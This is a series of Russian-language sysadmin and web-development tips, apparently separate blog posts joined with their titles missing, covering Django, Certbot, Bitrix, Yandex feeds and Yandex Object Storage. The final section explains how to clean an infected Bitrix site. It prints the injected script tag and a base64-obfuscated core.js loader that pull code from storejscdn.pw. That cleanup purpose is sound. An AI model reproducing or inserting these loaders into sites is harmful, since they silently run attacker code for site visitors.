В settings.py должны быть настроены пути к templates:

TEMPLATES = [
    {
        "BACKEND": "django.template.backends.django.DjangoTemplates",
        "DIRS": [BASE_DIR / "templates"],  # new
        "APP_DIRS": True,
        "OPTIONS": {
            "context_processors": [
                "django.template.context_processors.debug",
                "django.template.context_processors.request",
                "django.contrib.auth.context_processors.auth",
                "django.contrib.messages.context_processors.messages",
            ],
        },
    },
]

Создайте в папке templates вашего приложения новый файл robots.txt с тестовым содержимым. Например:

User-Agent: *
Disallow: /

Host: site.ru # замените на свой домен

Теперь заходим в urls.py и добавляем настройки:

from django.contrib import admin
from django.urls import path
from django.views.generic.base import TemplateView  # новый импорт

urlpatterns = [
    path("admin/", admin.site.urls),

    # указываем пути, тип контента и шаблон
    path(
        "robots.txt",
        TemplateView.as_view(template_name="robots.txt", content_type="text/plain"),
    ),
]

Сохраняем код, запускаем сервер. Теперь у вас есть файл robots.txt

Чтобы поставить бесплатный SSL от Let’s Encrypt на Django, работающий в связке с Nginx, понадобится совсем немного команд.

1. Запустить команду установки Cerbot в Ubuntu

sudo snap install --classic certbot

2. Выполнить следующую команду, создав символьную ссылку

sudo ln -s /snap/bin/certbot /usr/bin/certbot

3. Запускаем certbot для автоматической установки SSL

sudo certbot --nginx

Запустится выпуск и установка сертификатов. Сначала в консоли вас попросят указать вашу почту, согласие с правилами, согласие на передачу вашего адреса почты (в Electronic Frontier Foundation, партнёрам Let's Encrypt и разработчику Certbot).

Далее выбираете домены из списка, который подтянет установщик из конфигурации nginx. Если нужно выбрать всё, жмите Enter.

Команда из 3 пункта делает всё в автоматическом режиме, в том числе внося нужные правки в конфигурацию nginx. Если вы хотите править конфиги nginx вручную, то нужно использовать команду sudo certbot certonly --nginx.

У нас есть три варианта получить подобный сниппет:

• добавить выгрузку в Яндекс.Приложения
• подключить турбо-страницы
• подключить Яндекс Маркет

Опишу только первый вариант, для тех кто не хочет заморачиваться и хочет получить красивый и информативный сниппет. Подключать будем на Битрикс: Управление сайтом.

Что дадут фиды

Основным преимуществом перед конкурентами в поиске - цена, картинка товара, описание из фида. Выдача в поиске будет намного заметнее за счет этого сниппета.

Также я заметил следующее: если страницы некачественные или дублируются на поддоменной системе, яндекс все равно закинет страницы в поиск, если подключен фид. Без фида будут свистопляски.

Создание выгрузки

Будем использовать модуль Яндекс Маркет для бизнеса от Яндекса. Устанавливаете модуль и выполняете необходимые настройки, после чего модуль появится в левом вертикальном меню.

Нам нужен пункт Прайс-листы чтобы создать выгрузку. Открываем, справа кнопочка Создать прайс-лист.

При создании называйте прайс-лист более менее понятно, чтобы потом не возникало проблем.

В поле Сайт магазина пишите адрес сайта без протокола, если подключен SSL сертификат - ставим галочку. Название файла можно не трогать. Сервис оставляете как есть. Тип описаний я выставлял упрощенный. Название магазина, название компании - указываете своё. Отмечаете для выгрузки инфоблок Каталог товаров.

Если на сайте есть автоскидки, отмечаете пункт. Обязательно ставим галочку на Обновлять YML автоматически, чтобы цены и прочее обновлялись при изменении на сайте. Период полной выгрузки можно поставить раз в сутки в ночное время, например в 3:00, чтобы сайт не нагружался днём, когда все покупатели активничают на сайте. Жмем далее.

Здесь нужно сопоставить поля из YML-файла с полями в вашем магазине. Можете сделать как на скриншоте, такого варианта достаточно, чтобы получить сниппет, который я вам показал в самом начале статьи. Последние два поля param и name можете убрать нажав справа знак минус. Жмём далее.

Настройка условий доставки и выбор товаров. В принципе тут особо можно не заморачиваться, поставить галочку на добавление всех товаров из инфоблока. Доставку можете примерную выставить, всё равно не будет отображаться в поиске Яндекса, даже если ее настроить, она предназначена для Яндекс Маркета, а не для сниппета в поиске, который мы хотим получить.

Жмем Сохранить и выгрузить. В зависимости от мощности хостинга и размера каталога, у вас через какое-то время сгенерируется ссылка на выгрузку в виде ваш-сайт/адрес-до-файла/файл.xml, его скопируем куда-нибудь, так как мы еще не добавили этот фид в Яндекс.

Добавление фида в Яндекс Приложения

Фиды добавляются на стороне Яндекса в Яндекс.Приложениях.

Переходим туда. Создаем там новый сайт.

Тут указываем основной домен (если у вас поддоменная система, все равно указываем основной домен, без поддомена).

Адрес домена должен быть с протоколом в начале http:// или https:// и заканчиваться /.

Теперь достаём тот адрес фида, который мы заранее скопировали и вставляем в поле где написано Ссылка на feed.

Тут нужно учесть следующее. Если ваш магазин не использует систему поддоменов, то в поле Регион можно добавить общую выгрузку. Если же есть система поддоменов, то при создании фида в модуле битрикса создаем на каждый ваш город выгрузку, где в адрес сайта при настройках указываем каждый поддомен.

Пример

У меня система поддоменов на битриксе, я добавил сайт и внутри у меня 92 фида, где 1 фид = 1 городу. На каждый своя выгрузка, то есть у меня 92 прайс листа в модуле Яндекс Маркет для бизнеса, каждый прайс обновляется раз в сутки.

Проверки от Яндекса и правила допуска к фидам

После подключения фидов, на этом дело не заканчивается. Яндекс проверяет все эти фиды, звонит уточняет наличие притворяясь настоящими покупателями, потом делает офлайн заказ и еще имеет кучу правил для допуска к таким фидам. Почитайте и подготовьтесь, на каждый фид будет пару проверок. Соответственно если фидов на 10 городов - будет 20 проверок. Предупредите отдел продаж, что будут такие звонки. Нет наличия товара - пролёт, отличается цена - пролёт, что-то не так с ценой доставки - пролёт, не ответили на заказ с корзины в течении часа - пролёт. В общем на эту задачу нужно выделять время и терпение.

Если возникла такая ошибка в логах msmtp, которые обычно можно посмотреть в папке /home/bitrix/файл_логов.log.

Проблема может заключаться в том, что настроенный дефолтный отправитель или отправитель для сайта в BitrixVM не совпадает с отправителем указанным в настройке модулей или конкретном почтовом шаблоне.

Настройка модулей

Настройка находится в Главном модуле. Почтовый адрес должен совпадать с тем, который настроен для сайта в BitrixVM.

Настройка почтовых шаблонов

Если в BitrixVM адрес отправителя совпадает с отправителем по-умолчанию в настройках главного модуля, проблема может быть в почтовых шаблонах. Например указан другой почтовый ящик.

Если попробовать отредактировать почтовый шаблон, можно увидеть поле отправителя От кого и Кому.

Если указан #DEFAULTEMAIL_FROM#, то скорее всего у вас была проблема с настройкой в главном модуле. Если у вас в поле От кого указан другой почтовый ящик, не совпадающий с отправителем по-умолчанию, то укажите переменную #DEFAULTEMAIL_FROM#, тогда будет браться почтовый адрес отправителя из настроек главного модуля.

Ставим пакет pavucontrol

sudo apt-get install pavucontrol

После установки будет доступно приложение Регулятор громкости

Открываем и в пункте Встроенное аудио выбираем Аналоговый стерео выход

Далее идем в устройства вывода. Там мы видим, что видит наушники Headphones

Сначала не понял в чем дело. Нужно включить звук, так как он сейчас заглушен. Нужно нажать на иконку зачеркнутого динамика. На скрине обведен оранжевым цветом. И прибавить звук. Должно всё заработать.

Если у вас есть другое более простое решение, напишите пожалуйста в комментарии.

Висели следующие проблемы:

• Работа с сокетами - Ошибка! Не работает
• Лишний вывод в файлах конфигурации - Замечание. Не удалось проверить из-за ошибки в работе с сокетами

Также висели другие ошибки в пунктах: сохранение сессии без UserAgent, размер стека, загрузка файла и другие. Как на скрине ниже.

Решение

У меня стоит Centos 7. Проблема как оказалась из-за устаревших корневых сертификатов Lets'encrypt.

Установка пакета ca-certificates и обновление коревого сертификата помогла.

yum install ca-certificates

update-ca-trust

После проблема исчезла:

Если помогло, напишите об этом. Если была схожая проблема, но было другое решение, пишите в комментариях.

Посмотрел статьи в интернетах и не нашел примера подключения Яндекс Облака в Битриксе, но есть старые гайды 2014 годов с подключением Clodo. Что ж, напишу гайд по Яндекс Облаку, а именно Yandex Object Storage.

Плюсы и минусы облачного хранилища

Плюсы

• Репликация на несколько зон доступности: хранилище в разных географически расположенных местах
• Посекундная тарификация: используешь 3 мб, 3 гб или 30 гб - платишь только за занятое место, получается намного выгоднее чем держать VDS с запасом, который не используешь. Подробнее о тарификации.
• Холодное и горячее хранение: если данные нужно только хранить и редко к ним обращаться, это еще дешевле чем стандартное хранение в Object Storage.
• Бэкапы хранятся не там где вы их делаете: во-первых так хранить небезопасно, а во-вторых в случае отключения основного сервера можете поднять резервный сервер, а бэкапы как раз доступны!
• Очень высокая степень надежности хранилища УЗ-1, подробнее тут.

Минусы

• Вместо одного закрывающего документа у одного хостинг-провайдера нужно будет тратить еще минуту на второго: шучу, конечно оно того стоит и это пустяковый минус
• Минусов не нашел

Подготовка Object Storage

Заходим на сервис, у вас сразу есть дефолтный каталог сервисов, проваливаемся туда нажав на него.

У меня уже есть 1 бакет, об этом нас информирует верхняя плашечка. Создадим новый. В списке сервисом жмем на Obgect Storage.

Попадаем в пустой список, создаем новый бакет.

Видим страницу параметров для создания бакета.

Эти настройки делаем для хранения записей телефонных звонков или бэкапов. Но на стороне битрикса чуть-чуть настройки отличаются. В общем даем название бакету, например crm24-mp3-file-backup чтобы было понятно что у нас там хранится. В общем создали бакет.

Просто создать бакет недостаточно, еще нужно создать статический API ключ для Object Storage, это делается в вкладке "Сервисные аккаунты". Сейчас покажу где это.

Открыв будет пустой список аккаунтов. Создадим новый.

Имя можете дать новому аккаунту любое, но только латинскими цифрами и буквами. Называете исходя из задач, так как облако можно использовать по-разному, иметь одного пользователя на все задачи, на несколько или на одну. Я назвал задачу в рамках одной задачи, чтобы было понятно для чего был создан аккаунт.

Добавляете роль, например storage.admin. Создаем. Открываем созданный сервисный аккаунт. Видим кнопку Создать сервисный ключ.

Создаем статический API-ключ, даже пометка есть к чему он подойдет.

В описание ключа пишем подробности, для чего выдан этот ключ, например "Для выгрузки телефонных звонков/бэкапов в Object Storage".

Создаем. И тут важный момент. Ключ доступа нам показывают один раз. Сохраните его в свой KeePass или другую надежную систему хранения доступов, обязательно. Ключ не должен попасть в чужие руки и не должен быть в открытом доступе.

Ключ создали. Идем в Object Storage, где мы создали бакет. Нужно "прикрепить" этот сервисный аккаунт с доступом к бакету.

В списке бакетов жмем на три точки, видим пункт ACL бакета. Жмем.

Выбираем сервисный аккаунт. Выбрали. Справа с кнопкой добавить написано READ. Думаю нет смысла объяснять зачем это. Выбираем FULL_CONTROL.

Жмем напротив Добавить, а только потом Сохранить

Настройка Битрикс

Хранилище настроено. Теперь идём в битрикс чтобы подключить его. Заходим в панель управления Битрикс24 или Битрикс Управление сайтом.

Добавляем облачное хранилище.

Выбираем провайдера Yandex Object Storage.

Используем ключ доступа и секретный ключ которые нам выдали при создании доступа к сервисному аккаунту.

Важно! Вам сразу сгенерировался контейнер в виде upload-блаблаблабла. Если вы создали бакет, указываем имя этого бакета, иначе при подключении вам создадут новый бакет с сгенерированным названием.

Заполнили доступ, но еще НЕ сохраняем.

Есть важная настройка в вкладке Правила.

По дефолту при подключенном хранилище у нас попадут туда все файлы, но нам нужно чтобы туда писались записи звонков. Для этого указываем расширение mp3. Я добавил еще mp4 для примера в статье, где указал, что мы хотим отправлять в облачное хранилище файлы весом от 10 мб до 10 гб. В общем, прочитайте информационное сообщение, там расписано что да как. Можно создать отдельный бакет хоть для каждого модуля или один бакет для всех модулей. В списке правил работы с облаком можете хоть все модули указать.

Настроили? Сохраняем.

Теперь у нас есть список подключенных нами облачных хранилищ, которые работают по заданным нами правилам.

Чтобы протестировать, совершите один звонок с портала на свой личный телефон, поговорите сами с собой, например скажите себе "Я всё смогу, я сделаю это!". Обновите страницу со списком облачных хранилищ, должен поменяться счетчик файлов и их объем.

Файлы ушли в облако, поздравляю. Но это не всё. Бывает что файлы отправляются в облако, но в портале они вдруг стали недоступны.

Эта проблема скорее всего связана с тем, что у вас отсутствует правило для хранилища Yandex Object Storage в конфигурации nginx. При установке BitrixVM это правило туда записывается, но если вы ставили старую версию 7.4.3 и младше, то правила для хранилища Яндекс нет.

Решаем проблему.

Подключаемся по SSH к вашему серверу.

Если у вас BitrixVM, выходим из меню в которое мы попали.

Идем в конфиг nginx.

/etc/nginx/bx/conf/

Открываем файл конфига bitrix_general.conf

Находим секцию location ^~ /upload/bx_cloud_upload/

Видим там правила для разных хранилищ. Вставляем новое правило для Yandex Object Storage в этой секции, в начале или в конце, без разницы.

Само правило:

location ~ ^/upload/bx_cloud_upload/(http[s]?)\.([^/:\s]+)\.storage\.yandexcloud\.net/([^\s]+)$ { internal; resolver 8.8.8.8; proxy_method GET; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Server $host; #proxy_max_temp_file_size 0; proxy_pass $1://$2.storage.yandexcloud.net/$3; }

Сохраняем и перезапускаем nginx.

systemctl restart nginx

Снова проверяем работу CRM, звоним самому себе и пробуем послушать звонок выгруженный в облако. Должно всё работать. Если нужна помощь - пишите мне на почту, может помогу.

P.S. В версии BitrixVM 7.4.4 уже не нужно добавлять эти строки, они там уже должны быть.

Удаляем строку storejscdn pw

из файла /bitrix/modules/main/prolog.php удаляем строку

<sсriрt src="httрs://stоrеjscdn.рw/jquеrуui.js"></script>

Изменяем core.js

Желательно обновить модуль ядра, но энтузиасты пишут что достаточно убрать строку в конце этого файла (путь /bitrix/js/main/core/core.js), которая выглядит так, либо очень похожа:

s=dосument.сrеateElement(`scriрt`);s.srс=atоb(`aHR0cHM6Ly9zdG9yZWpzY2RuLnB3L2pxdWVyeXVpLmpz`);dосument.head.appеndСhild(s);

Удаляем файл в компоненте main.file.input

Файл находится по следующему пути /bitrix/components/bitrix/main.file.input/main.php

Если посмотреть на других незараженных сайтах, в этом компоненте не существует файла main.php. Удаляем.